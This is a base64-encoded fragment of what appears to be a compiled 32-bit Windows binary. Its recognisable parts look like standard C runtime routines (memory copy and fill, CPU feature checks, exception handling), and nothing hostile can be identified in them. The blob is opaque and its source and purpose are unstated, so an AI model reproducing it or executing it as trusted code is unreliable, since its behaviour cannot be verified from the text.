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xaJF4PHBIPGBIPpAXXxi8iD4QN0E4oGiAdGR0l1942kJAAAAACNSQCLRCQMXl/DjaQkAAAAAIv/uhAAAAAr0CvKUYvCi8iD4QN0CYoWiBdGR0l198HoAnQNixaJF412BI1/BEh181np6f7//2oMaGB5DBDoIN///4Nl5ACLRQj/MOglNAAAWYNl/ACLTQzoUgwAAIvwiXXkx0X8/v///+gNAAAAi8boM9///8IMAIt15ItFEP8w6AQ0AABZw4v/VYvsg+wMi0UIjU3/iUX4iUX0jUX4UP91DI1F9FDoi////4vlXcOL/1WL7IHshAQAAKEUwAwQM8WJRfyDfRgAi0UQU4tdFImFoPv//3UY6C/nAADHABYAAADo7eMAAIPI/+kRAQAAhdt0BIXAdOBWV/91HI2NfPv//+jnCgAAi00Ijb2Q+///M8Az0qurq6uLwYu9oPv//4PgAomFjPv//wvCib2Q+///iZ2U+///iZWY+///dQqIlZz7//+F/3UHxoWc+///Af91II2FkPv//4mFoPv//42FgPv//1D/dRiNhaD7////dQxRUI2NpPv//+gFCgAAjY2k+///6CEOAACL8IX/dEuLRQgzyYPgAQvBdByF23UEhfZ1b4uFmPv//zvDdSqF9ngpO/N2Jetbi4WM+///C8F0TYXbdBWF9nkEiA/rDYuFmPv//zvDdE2IDAeNjeT7///oiwoAAIC9iPv//wB0DYuNfPv//4OhUAMAAP1fi8Zei038M81b6Fnf//+L5V3Dhdt1BYPO/+vDi4WY+///O8N1tmr+XohMH//rsIv/VYvsgeyEBAAAoRTADBAzxYlF/IN9GACLRRBTi10UiYWg+///dRjos+UAAMcAFgAAAOhx4gAAg8j/6RcBAACF23QEhcB04FZX/3UcjY18+///6GsJAACLTQiNvZD7//8zwDPSq6urq4vBi72g+///g+ACiYWM+///C8KJvZD7//+JnZT7//+JlZj7//91CoiVnPv//4X/dQfGhZz7//8B/3UgjYWQ+///iYWg+///jYWA+///UP91GI2FoPv///91DFFQjY2k+///6L4IAACNjaT7///oCRAAAIvwhf90UYtFCIPgAYPIAHQchdt1BIX2dXaLhZj7//87w3UuhfZ4MDvzdizrYouFjPv//4PIAHRThdt0G4X2eQczwGaJB+sQi4WY+///O8N0UDPJZokMR42N5Pv//+gJCQAAgL2I+///AHQNi418+///g6FQAwAA/V+Lxl6LTfwzzVvo193//4vlXcOF23UFg87/68OLhZj7//87w3Wzav5eM8BmiURf/uuti/9Vi+yB7IQEAAChFMAMEDPFiUX8g30YAItFEFOLXRSJhaD7//91GOgu5AAAxwAWAAAA6OzgAACDyP/pEQEAAIXbdASFwHTgVlf/dRyNjXz7///o5gcAAItNCI29kPv//zPAM9Krq6uri8GLvaD7//+D4AKJhYz7//8Lwom9kPv//4mdlPv//4mVmPv//3UKiJWc+///hf91B8aFnPv//wH/dSCNhZD7//+JhaD7//+NhYD7//9Q/3UYjYWg+////3UMUVCNjaT7///oBAcAAI2NpPv//+hIDAAAi/CF/3RLi0UIM8mD4AELwXQchdt1BIX2dW+LhZj7//87w3UqhfZ4KTvzdiXrW4uFjPv//wvBdE2F23QVhfZ5BIgP6w2LhZj7//87w3RNiAwHjY3k+///6IoHAACAvYj7//8AdA2LjXz7//+DoVADAAD9X4vGXotN/DPNW+hY3P//i+Vdw4XbdQWDzv/rw4uFmPv//zvDdbZq/l6ITB//67CL/1WL7IHshAQAAKEUwAwQM8WJRfyDfRgAi0UQU4tdFImFoPv//3UY6LLiAADHABYAAADocN8AAIPI/+kXAQAAhdt0BIXAdOBWV/91HI2NfPv//+hqBgAAi00Ijb2Q+///M8Az0qurq6uLwYu9oPv//4PgAomFjPv//wvCib2Q+///iZ2U+///iZWY+///dQqIlZz7//+F/3UHxoWc+///Af91II2FkPv//4mFoPv//42FgPv//1D/dRiNhaD7////dQxRUI2NpPv//+i9BQAAjY2k+///6DgOAACL8IX/dFGLRQiD4AGDyAB0HIXbdQSF9nV2i4WY+///O8N1LoX2eDA783Ys62KLhYz7//+DyAB0U4XbdBuF9nkHM8BmiQfrEIuFmPv//zvDdFAzyWaJDEeNjeT7///oCAYAAIC9iPv//wB0DYuNfPv//4OhUAMAAP1fi8Zei038M81b6Nba//+L5V3Dhdt1BYPO/+vDi4WY+///O8N1s2r+XjPAZolEX/7rrYv/VYvsg30YAHUV6ErhAADHABYAAADoCN4AAIPI/13DVot1EIX2dDqDfRQAdjT/dSD/dRz/dRj/dRRW/3UM/3UI6Lj5//+DxByFwHkDxgYAg/j+dSDoAOEAAMcAIgAAAOsL6PPgAADHABYAAADosd0AAIPI/15dw4v/VYvsg30YAHUV6NLgAADHABYAAADokN0AAIPI/13DVot1EIX2dDyDfRQAdjb/dSD/dRz/dRj/dRRW/3UM/3UI6Lz6//+DxByFwHkFM8lmiQ6D+P51IOiG4AAAxwAiAAAA6wvoeeAAAMcAFgAAAOg33QAAg8j/Xl3Dg7kEBAAAAHUGuAACAADDi4EABAAA0ejDi/9Vi+xRg8j/M9JWi3UI9/ZXg+D+i/mD+AJzD+gv4AAAxwAMAAAAMsDrU1Mz2wP2OZ8EBAAAdQiB/gAEAAB2CDu3AAQAAHcEsAHrMVboS+AAAIlF/FmFwHQajUX8UI2PBAQAAOhnBAAAi0X8swGJtwAEAABQ6OnfAABZisNbX16L5V3CBACL/1WL7ItFFEiD6AF0LoPoAXQlg+gJdCCDfRQNdB6KRRA8Y3QIPHN0BDLJ6wKxATPAhMkPlMBdw7ABXcMywF3Di/9Vi+yLRRRIg+gBdD2D6AF0NIPoCXQvg30UDXQpi0UIM8mD4ASyAQvBdQKK0WaDfRBjdAdmg30Qc3UCsQEzwDrRD5TAXcOwAV3DMsBdw4v/VovxV4u+BAQAAOjC/v//hf91BAPG6wIDx19ew4v/VYvsU1aL8VeNTkCLuQQEAACF/3UCi/nol/7//4tdCEgD+Il+NItOKIXJfwSF23QwM9KLw/d1DEmAwjCJTiiL2ID6OX4RgH0QAA+UwP7IJOAEYSw6AtCLRjSIEP9ONOvFi0Y0K/iJfjhAX4lGNF5bXcIMAIv/VYvsUVFTVovxV41OQIu5BAQAAIX/dQKL+egg/v//i1UMSItdCAP4iX40i04ohcl/BovDC8J0OmoA/3UQjUH/UlOJRijoVK4BAIDBMIld/IvYgPk5fhGAfRQAD5TA/sgk4ARhLDoCyItGNIgI/04067mLRjQr+Il+OEBfiUY0XluL5V3CEACL/1WL7FYz9jl1EH4hU2YPvl0MV4t9FItNCFdT6EwhAACDP/90BkY7dRB8619bXl3Di/9Vi+xWM/Y5dRB+HFeLfRSLTQhX/3UM6F8hAACDP/90BkY7dRB86V9eXcOL/1WL7FYz9jl1EH4hU2YPvl0MV4t9FItNCFdT6HEhAACDP/90BkY7dRB8619bXl3Di/9Vi+xRM8CJTfyJAYlBBIlBCIlBDIlBEIlBFIlBGIlBHIlBIIlBJIlBKGaJQTCJQTiIQTyJgUAEAACJgUQEAACLwYvlXcOL/1WL7FEz0olN/DPAiRFmiUEyi8GJUQSJUQiJUQyJURCJURSJURiJURyJUSCJUSSJUSiIUTCJUTiIUTyJkUAEAAC